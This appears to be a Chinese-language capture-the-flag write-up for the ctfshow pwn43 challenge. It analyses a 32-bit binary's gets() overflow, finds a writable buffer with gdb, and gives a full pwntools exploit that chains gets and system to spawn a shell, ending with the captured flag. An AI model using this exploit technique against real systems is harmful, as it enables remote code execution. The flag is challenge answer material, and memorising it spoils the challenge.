32位的 system(); 但是好像没"/bin/sh" 上面的办法不行了,想想办法
检查:32 位程序
ida 分析:
跟进 ctfshow 函数
定义了一个长度为 104 的字符数组 s,gets() 函数被用来从标准输入(键盘)中读取字符串,并存储到数组 s 中,函数返回了这个数组的指针。gets() 函数不会检查输入字符串的长度是否超出了数组的容量,因此会造成栈溢出。
这里找到了 system 函数的地址:0x8048450
但是并未找到 /bin/sh 或者 sh 这种现成的字符串作为 system 函数的参数
那么这种情况我们就需要手动写入一个 /bin/sh 或者 sh
首先我们需要找到可写入的地址在哪儿
使用 gdb 调试目标程序:
gdb pwn
设置断点:
break main
启动被调试的程序:
run
使用 vmmap 命令查看进程的内存映射情况,包括每个内存段的权限信息:
vmmap
rw-p 表示这段内存(0x804b000 到 0x804c000)是可读写的;
-p 标志表示内存区域的权限,它由四个字符组成,每个字符分别代表一个权限:
r:可读(Readable)
w:可写(Writable)
x:可执行(Executable)
s:共享(Shared)
1000 和 2000:是内存区域的大小,这段内存的大小是 0x2000,即 8192 字节;
/home/ctfshow/Desktop/pwn/栈溢出/pwn43/pwn:这是内存区域的名称,表示这段内存是由哪个文件映射而来的,这里这段内存来自于名为 pwn 的可执行文件。
在这段地址范围上找到了一个 buf2 变量,我们可以利用这个缓冲区指针来存储输入的数据(/bin/sh),再传递给 system 函数的第一个参数,即可构造 system("/bin/sh")。
buf2 的地址:0x804B060
这里可以使用gets 函数来写入
gets 函数的地址:0x8048420
往 buf2 的地址写入 "/bin/sh" 然后让 system 参数指向这段地址
编写 exp:
from pwn import *
context.log_level = 'debug'
p = remote('pwn.challenge.ctf.show', 28227)
offset = (0x6C+4)
system_addr = 0x8048450
buf2_addr = 0x804B060
gets_addr = 0x8048420
payload = b'a'*offset + p32(gets_addr) + p32(system_addr) + p32(buf2_addr) + p32(buf2_addr)
p.sendline(payload)
p.sendline("/bin/sh")
p.interactive()
关于这个 payload 的详细解释:
在函数调用中,参数会按照一定的顺序压入栈中,然后函数会依次读取这些参数。
b'a'*offset:这部分是填充数据,长度为 offset,目的是为了覆盖函数的返回地址,并确保我们能够控制程序的执行流程。
p32(gets_addr):这是 gets() 函数的地址,我们将覆盖函数返回地址为 gets() 函数的地址,这样在程序返回时会跳转到 gets() 函数执行,我们就可以利用 gets() 函数从输入中获取数据。 p32(system_addr):这是 system() 函数的地址,我们将覆盖 gets() 函数的返回地址为 system() 函数的地址,这样在 gets() 函数执行完毕后,程序会继续执行 system() 函数。
而后面的两个 p32(buf2_addr) 分别作为 gets 函数与 system 函数的参数
第一个参数是用 gets() 函数读取的数据,也就是我们要写的 buf2 的地址(写入后 buf2 的地址也就是 "/bin/sh" 字符串的地址);
第二个参数也是 "/bin/sh" 字符串的地址,因为 system() 函数会使用这个地址作为命令参数。
可以打通,获取 shell 后直接执行命令
拿到 flag:ctfshow{c9688abd-3198-4be6-bd31-ed98f1a06ee3}